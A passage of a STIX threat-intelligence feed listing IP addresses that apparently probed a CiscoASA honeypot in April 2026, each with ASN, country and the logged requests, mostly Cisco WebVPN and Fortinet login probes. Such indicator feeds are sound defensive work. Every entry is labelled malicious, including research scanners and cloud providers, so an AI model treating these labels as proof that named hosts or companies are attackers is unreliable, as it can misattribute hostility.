      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-23T19:58:23.539Z",
          "last_seen": "2026-04-23T19:59:14.734Z",
          "country": "Brazil",
          "country_code": "BR",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T20:20:19.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: SC; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--129d9da4-2b5b-445a-966e-9646f930cd0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T20:20:19.000Z",
      "valid_until": "2026-05-25T20:20:15.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T20:04:28.693Z",
          "last_seen": "2026-04-23T20:14:40.535Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T21:20:37.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--694c8709-6da3-4868-afec-5d90a85b1017",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:20:37.000Z",
      "valid_until": "2026-05-25T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-08T21:59:42.834Z",
          "last_seen": "2026-04-29T02:36:47.021Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T21:20:37.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CN; ASN 4134 (Chinanet)",
      "id": "indicator--f27098c9-23b6-4883-80cf-a3cb2c3a8180",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '123.245.84.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:20:37.000Z",
      "valid_until": "2026-05-25T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-23T21:10:30.826Z",
          "last_seen": "2026-04-23T21:10:30.826Z",
          "country": "China",
          "country_code": "CN",
          "asn": 4134,
          "as_org": "Chinanet",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T21:20:37.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398722 (Censys, Inc.)",
      "id": "indicator--6d26954d-7488-4d4b-8fdc-af8081409e3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:20:37.000Z",
      "valid_until": "2026-05-25T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-23T21:04:09.844Z",
          "last_seen": "2026-04-23T21:04:25.707Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398722,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-23T21:20:37.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--6bc12b6e-452d-44e5-a698-a3b3a289f3ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.74.59.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-23T21:20:37.000Z",
      "valid_until": "2026-05-25T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-23T21:06:37.761Z",
          "last_seen": "2026-04-24T15:03:40.860Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T01:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--5826df55-1684-4dd2-a271-b91e904e454b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '100.53.171.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:20:27.000Z",
      "valid_until": "2026-05-26T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T00:54:13.484Z",
          "last_seen": "2026-04-25T00:58:40.874Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T01:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--cc76a8de-c84d-4f09-ab5b-0878ce054fcd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '34.224.87.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:20:27.000Z",
      "valid_until": "2026-05-26T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T00:57:34.096Z",
          "last_seen": "2026-04-24T00:57:34.096Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T01:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6754f016-2ee6-4125-b13d-6c3808f3e880",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:20:27.000Z",
      "valid_until": "2026-05-26T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-21T17:46:07.115Z",
          "last_seen": "2026-04-29T19:40:40.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T01:20:27.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--21d9015e-47cb-4287-a041-8f0bb52607d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '52.90.41.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T01:20:27.000Z",
      "valid_until": "2026-05-26T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T00:57:19.240Z",
          "last_seen": "2026-04-24T00:57:22.244Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--f88c74e8-0542-4da2-9fb4-413b2d15187f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T02:51:25.287Z",
          "last_seen": "2026-04-24T02:51:33.895Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--85de7e57-9c00-4f05-b4fb-e6c8ab751600",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T02:27:21.206Z",
          "last_seen": "2026-04-24T02:27:24.207Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2d571f8e-14d9-435f-a6d0-21be1b4c4777",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-24T02:46:59.501Z",
          "last_seen": "2026-04-24T02:54:30.357Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--acedf1a3-a912-4cbd-8ecd-3d59223cf982",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T02:52:10.148Z",
          "last_seen": "2026-04-24T02:52:10.148Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3d1fd13f-4dc7-4f39-a025-54a039b06311",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T02:51:49.221Z",
          "last_seen": "2026-04-24T02:52:00.478Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--731f8540-25d6-42cd-ab50-21ca80b0514c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T02:50:15.004Z",
          "last_seen": "2026-04-24T02:51:58.557Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--44ed23da-528a-4a96-8d39-74fab6fe55b1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T02:51:41.182Z",
          "last_seen": "2026-04-24T02:52:07.538Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--9f1a48b4-a143-4367-a88c-2151e370128b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T03:20:10.000Z",
      "valid_until": "2026-05-26T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T02:51:43.659Z",
          "last_seen": "2026-04-24T02:51:43.659Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T04:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1de07fcf-4193-4fca-ab0c-761b997baeb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.255.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T04:20:05.000Z",
      "valid_until": "2026-05-26T04:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-24T03:48:32.437Z",
          "last_seen": "2026-04-29T20:04:44.244Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T05:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: CZ; ASN 212238 (Datacamp Limited)",
      "id": "indicator--67fe098a-b2b8-4b10-9ee0-f9ed80063553",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.87.114.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T05:20:05.000Z",
      "valid_until": "2026-05-26T05:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T05:08:00.979Z",
          "last_seen": "2026-04-24T05:08:01.719Z",
          "country": "Czechia",
          "country_code": "CZ",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T06:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /aaa9 HTTP/1.1\" 404 - geo: RU; ASN 34665 (Petersburg Internet Network ltd.)",
      "id": "indicator--a0bd1a2a-dafc-4bcf-87cc-69bf53f0537b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.101.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:20:18.000Z",
      "valid_until": "2026-05-26T06:20:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T06:18:21.827Z",
          "last_seen": "2026-04-24T06:18:24.595Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 34665,
          "as_org": "Petersburg Internet Network ltd.",
          "event_types": [
            "\"GET /aaa9 HTTP/1.1\" 404 -",
            "\"GET /aab9 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T06:20:18.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: RU; ASN 44050 (Petersburg Internet Network ltd.)",
      "id": "indicator--6face142-5525-47fe-9bfc-ce797db0f2cc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '95.215.0.144']",
